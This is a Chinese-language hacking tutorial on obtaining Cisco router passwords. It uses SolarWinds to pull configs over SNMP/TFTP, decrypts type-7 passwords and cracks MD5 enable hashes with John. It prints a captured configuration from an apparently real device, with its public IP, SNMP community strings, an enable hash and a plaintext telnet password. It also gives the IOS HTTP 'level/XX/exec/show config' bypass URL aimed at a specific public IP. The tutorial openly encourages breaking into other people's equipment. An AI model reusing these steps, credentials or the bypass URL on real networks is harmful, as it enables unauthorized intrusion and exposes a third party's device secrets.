一:可以对园区网设备施加的具体威胁,也可以理解为攻击思路,目标或手段
1:访问设备的控制端口和TELNET端口
2:访问路由器配置文件和了解口令
3:通过SNMP访问设备的配置文件并了解内部网络的拓扑结构
4:通过截获路由更新信息了解内部网络的拓扑结构
5:通过虚假的路由更新信息误导数据流的转发
6:访问敏感的内部网络
7:获得对路由器的HTTP访问
8:对或通过以太网交换机的非授权访问
二:几个基本知识
1:telnet是一种强有力的服务,它能为用户提供很多internet设施和服务的唯一访问手段,允许用户以明文方式远程访问一个命令界面,由简单的用户名/口令认证机制所控制,很容易被欺骗。telnet端口在路由器上被称为虚拟终端(vty)端口;
2:tftp不是一种安全的协议,因为它没有任何认证机制,也就是说不需要口令,入侵者可以很容易地用tftp请求文件传输,其可以用于得到路由配置文件并修改之;
3:SNMP是一个应用层协议,它在SNMP管理器和代理之间提供了一个通信管道,SNMP有多种访问级别:RO(只读),RW(读/写),W(允许对代理进行写操作)。SNMP团体
字符对MIB对象的访问进行认证,并作为嵌入的口令;
4:CISCO口令分为用户访问口令和特权级口令(enable)。缺省情况下,路由器上所有控制台口令是以明文形式存储在路由器配置中。有两种用于隐藏明文形式的口令:(一
般地)"Service password_encryption"命令用于加密用户访问口令,"enable
secret"命令用于加密特权级口令,"Service password_encryption"命令所用的加密算法是一种不太复杂的可逆的基于Vigener密码的CISCO专有算法,安全级别低,有大量破解器能反
解CISCO口令;而"enable secret"则用到了一个基于MD5散列函数的单向加密算法,安全级别较高,目前尚无良好解决方法,但其仍然可能会受到强力破解或口令字典的攻击。
三:利用solarwinds2001得到CISCO密码
1:solarwinds2001是个集多种功能于一身的cisco管理工具,界面友好;
2:下载地址(52M左右)
http://solarwinds.net/Download-Tools.htm
http://download.online.tj.cn/software/internet/netassistant/15411. html
http://peckerland.com/library/solarwinds2001.zip
3:工具条如下左图所示,酷似QQ,清晰明了!
4:打开Cisco Tools/IP Network Browser,界面如下图,简单设置如上右图;
5:发现CISCO路由器
6:还可以用Cisco Tools/Download Config来下载(下图)
7:TFTP Server自动启动(下图)
8:利用Cisco Tools/Config Editor&viewer打开下载的config文件,如下是我下载的一份配置文件:
!
version 11.2
no service pad
no service udp-small-servers
no service tcp-small-servers
!
hostname HGHLNDSWSTWD.07.IDF1A.DSW08
!
enable secret 5 $1$ukn/$LU0yrd7/YBqBNJRDlIVes.--->>>>MD5加密
!
!
ip subnet-zero
!
!
interface VLAN1
ip address 209.11.111.8 255.255.255.192
no ip route-cache
!
interface FastEthernet0/1
description Port connected to Apt# 7307
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/2
description Port connected to Apt# 7308
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/3
description Port connected to Apt# 7309
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/4
description Port connected to Apt# 7310
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/5
description Port connected to Apt# 7311
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/6
description Port connected to Apt# 7337
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/7
description Port connected to Apt# 7338
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/8
description Port connected to Apt# 7339
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/9
description Port connected to Apt# 7340
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/10
description Port connected to Apt# 7341
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/11
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/12
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/13
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/14
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/15
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/16
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/17
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/18
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/19
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/20
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/21
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/22
description Port connected to Apt#
shutdown
port security max-mac-count 1
no port security action trap
!
interface FastEthernet0/23
description Port connected to Fiber Link
!
interface FastEthernet0/24
description Port connected to Fiber Link
!
ip default-gateway 209.11.111.1
mac-address-table secure 0001.0235.5a4e FastEthernet0/2 vlan 1
snmp-server community N3tw0rk RO
snmp-server community private RW
snmp-server community public RO
snmp-server chassis-id 0x0F
!
line con 0
stopbits 1
line vty 0 4
password MDU!Admin -->>>>明文口令,未作加密处理!!
login
line vty 5 9
password MDU!Admin
login
!
end
9:如果配置文件中口令经"Service password_encryption"命令加密,比如说出现 “password 7 15110E1E2A2F3F”类的,用Cisco Tools/Router Password de..解密,如下图:
10:现在你就可以telnet *.*.*.* 进入了!
11:常见问题:
(1)为什么老是下载不了config?
答:正常!有几个原因,无法辨别读取,路由器拒绝,TFTP server未设置添加允许传输IP段...要有点耐心,现在存在此漏洞的很多!
(2)MD5加密的特权级口令怎么破解?
答:很难,但可以拿John跑跑。不妨拿用户级访问口令一试,有些路由的两个口令一样!
(3)为什么我拿到了密码却telnet不上?
答:telnet不上是因为其限制特定IP地址的访问或其只允许特定IP地址访问。
(4)solarwinds太大,有没有其他方法进入路由器?
答:有,用2M多一点的languard network scanner2.0(www.sandflee.net有下载
),其可以正确判断操作系统,但破解几率大降,需要对方CISCO同时开23,80两端口(一般CISCO不开80端口,发现后用http://*.*.*.*/level/XX/exec/show%20config直接读出co
nfig(这点很方便),其中XX表示16-99中的一位数!送大家一个感受感受
http://66.33.80.99/level/19/exec/show%20config
四:由于时间篇幅所限,本文暂告一段落。本篇笔者只是笼统地谈了一下如何得到CISCO密码,但我会继续推出CISCO系列教程,下两篇计划详细地讲解CISCO IOS 命令操作和
CISCO内部安全配置,这样新手们就不会因没有钥匙打不开用不了属于自己的一箱黄金了